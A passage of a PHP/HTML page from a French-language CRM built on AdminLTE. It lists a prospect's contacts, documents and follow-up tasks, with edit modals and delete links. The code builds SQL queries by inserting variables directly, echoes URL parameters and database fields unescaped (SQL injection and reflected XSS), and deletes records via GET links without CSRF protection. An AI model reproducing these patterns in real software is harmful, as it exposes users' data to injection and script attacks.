<label for="inputtel">Téléphone</label>
<input type="text" class="form-control" id="inputtel" name="tele" value="<?=$q['client_tele'] ; ?>" >
</div>
</div>
<div class="form-group col-md-6"><!-- Fax -->
<div class="form-group">
<label for="inputfax">Fax</label>
<input type="text" class="form-control" id="inputfax" name="fax" value="<?=$q['client_fax'] ; ?>" >
</div>
</div>
</div> <!-- ///////Permet de passer à la ligne suivante -->
<input name="modifier_prospect" type="hidden" value="modifier_prospect">
<button type="submit" class="btn btn-primary">Enregistrer</button>
</form>
</div>
</span>
<br/>
<!-- ----------------------------------************************************************* la partie contact ********************************************************** -------------- -->
<?php
$qm = dbi_query("SELECT * FROM contact where client_id = '$client_id'") ;
?>
<span class="border border-warning">
<div class="card-body">
<table id="example1" class="table table-hover">
<thead>
<tr>
<th>Nom</th> <!-- /.Table Contact - Champs contact_nom -->
<th>Fonction</th> <!-- /.Table Contact - Champs contact_fonction -->
<th>Tél 1</th> <!-- /.Table Contact - Champs contact_tel1 -->
<th>Tél 2</th> <!-- /.Table Contact - Champs contact_tel2-->
<th>E-mail</th> <!-- /.Table Contact - Champs contact_email-->
<th></th>
</tr>
</thead>
<tbody>
<?php while($q=dbi_fetch_row($qm)){ ?>
<?php
$chaine = $q['contact_nom']." ". $q['contact_pnom'] ;
?>
<tr>
<td><?php echo $chaine ?></td>
<td><?php echo $q['contact_fonction'] ; ?></td>
<td><?php echo $q['contact_tele1'] ; ?></td>
<td><?php echo $q['contact_tele2'] ; ?></td>
<td><?php echo $q['contact_email'] ; ?></td>
<TD align="center" nowrap>
<?php echo '<a class="btn btn-info btn-sm" href="#myModal_modif_contact" id="custId" data-toggle="modal" data-id="'.$q['contact_id'].'"> <i class="fas fa-pencil-alt"></i> </a>';?>
</a>
<a class="btn btn-danger btn-sm" href="?action=sup&id=<?=$q['contact_id']?>" onclick="return confirm('Voulez-vous vraiment supprimer ce contact ?');">
<i class="fas fa-trash"></i>
</a>
</TD>
</tr>
<?php }?>
</tbody>
</table>
</div>
</span>
<br/>
<span class="border border-danger">
<!-- /.card-header -->
<div class="card-body">
<section class="content">
<?php
if(isset($_GET["msg"])){
?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<?php
$qa = dbi_query("SELECT * FROM document_client WHERE client_id=$client_id ") ;
?><br clear="all" />
<!-- ----------------------------------************************************************* la partie Document ********************************************************** -------------- -->
<table id="example1" class="table table-hover">
<thead>
<tr>
<th style="text-align:center;">Document</th>
<th style="text-align:center;">Description</th>
<th style="text-align:center;">Date Document</th>
<th style="text-align:center;">Supprimer</th>
</tr>
</thead>
<tbody>
<?php
while($docc = dbi_fetch_row($qa)){
$nomrepp=$docc['document_emplacement'];
// echo "==> $nomrep <br/>" ;
?>
<tr>
<td style="text-align:center;"> <a class="btn btn-primary btn-sm" href="<?=$nomrepp?>" target="_blank"><i class="fas fa-file"></i> </a></td>
<td style="text-align:center;"><?=$docc['document_nom']?></td>
<td style="text-align:center;"><?=int2date($docc['date_document'])?></td>
<td align="center" nowrap>
<?php echo '<a class="btn btn-info btn-sm" href="#document_ajaxModifier" id="custId" data-toggle="modal" data-id="'.$docc['document_id'].'"> <i class="fas fa-pencil-alt"></i> </a>';?>
</a>
<a href="profilprosepct.php?doc=cl&action=sup_doc&id=<?=$docc['document_id']?>" onclick="return confirm('Voulez-vous vraiment supprimer ce document ?');" class="btn btn-danger btn-sm"> <i class="fas fa-trash"></i> </a> </td>
</tr>
<?php }
echo '</tbody>' ;
echo '</table>';
?>
</div>
</span>
<br/>
<!-- ****************************************************************** ---- partie tache --- *********************************************************** -->
<span class="border border-success">
<br/>
<?php
list($nbr_tache)=dbi_fetch_row(dbi_query("SELECT count(tache_id) as nbr_tache FROM `tache` WHERE `tache_prospect` = 1 and client_id = $client_id ")) ;
if($nbr_tache > 0 ){
?>
<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-sousTACHE"></i> NOUVELLE ACTION</button>
<?php }else{ ?>
<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-tache"> NOUVELLE TACHE</button>
<?php }?>
<div class="card-body">
<table id="example1" class="table table-hover">
<thead>
<tr>
<th>Terminée</th> <!-- /.Table Client - Champs client_nom -->
<th colspan="8" >Désignation</th>
<th></th>
<th></th> <!-- /.Table Client - Champs client_adr1 -->
<!-- /.Table Client - Champs client_cp -->
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<?php
// puisque chaque client a une seule tache de type recouvrement donc on peut avoir l'id de cette tache
list($tache_id)=dbi_fetch_row(dbi_query("SELECT tache_id FROM `tache` WHERE `tache_prospect` = 1 and client_id = $client_id ")) ;
if(!empty($tache_id)){
$qa= dbi_query("SELECT * FROM `sous_tache` WHERE tache_id = ".$tache_id." ORDER BY `sous_tache`.`date_heure_creation_forma_date` DESC") ;
}
// echo "SELECT * FROM `sous_tache` WHERE tache_id = ".$tache_id." ORDER BY `sous_tache`.`sous_tache_date_fin` DESC" ;
while($soustache=dbi_fetch_row($qa))
{
list($user_nom_crea, $user_prenom_crea)= dbi_fetch_row( dbi_query(" SELECT user_nom , user_prenom FROM `users` WHERE `user_id` = ".$soustache['user_id_creation'] ));
$user_chaine_crea = $user_nom_crea." ".$user_prenom_crea ;
list($user_nom, $user_prenom)= dbi_fetch_row( dbi_query(" SELECT user_nom , user_prenom FROM `users` WHERE `user_id` = ".$soustache['user_id'] ));
$user_chaine = $user_nom." ".$user_prenom ;
if($soustache['sous_tache_status']==0){
$badge = 'badge-danger';
$sous_tache_status="<span class='badge ".$badge."'> Non </span>" ;
}
else{
$badge = 'badge-success';
$sous_tache_status="<span class='badge ".$badge."'> Oui </span>" ;
}
// ."==>".$soustache['sous_tache_id']
?>
<tr>
<td><?=$sous_tache_status?></td>
<td colspan="8"><?="<strong>".$user_chaine_crea." : </strong> ".$soustache['sous_tache_designation'] ?></td>
<td><?= int2date(date2int_DSI($soustache['sous_tache_date_fin']))?></td>
<td><?=$user_chaine ?></td>
<td align="center">
<?php echo '<a class="btn btn-info btn-sm" href="#myModal_tache_prospect" id="custId" data-toggle="modal" data-id="'.$soustache['sous_tache_id'].'"><i class="fas fa-pencil-alt"></i> </a>';?>
<a class="btn btn-danger btn-sm" href="profilprosepct.php?sous_tache_id=<?=$soustache['sous_tache_id']?>&sup_tache_pospect=1" onclick="return confirm('Voulez-vous vraiment supprimer ce sous tache ?');">
<i class="fas fa-trash"></i>
</a>
</td>
<td> <?= $soustache['date_heure_creation'] ?></td>
</tr>
<?php
}
?>
</tbody>
</table>
</div>
</span>
</div>
</div>
</div>
</div>
<!-- /.col-md-6 -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
<div class="p-3">
<h5>Title</h5>
<p>Sidebar content</p>
</div>
</aside>
<!-- /.control-sidebar -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script>
$(function () {
// Summernote
$('.textarea').summernote()
}) ;
$(document).ready(function(){
$('#myModal_doc').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxAjoutDocument.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch_doc').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal_modif_contact').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxModifierContact.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#document_ajaxModifier').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'document_ajaxModifier.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch_document').html(data);//Show fetched data from database
}
});
});
});
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal_tache_prospect').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'jaxModifSousTache.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch_tch_prospect').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>
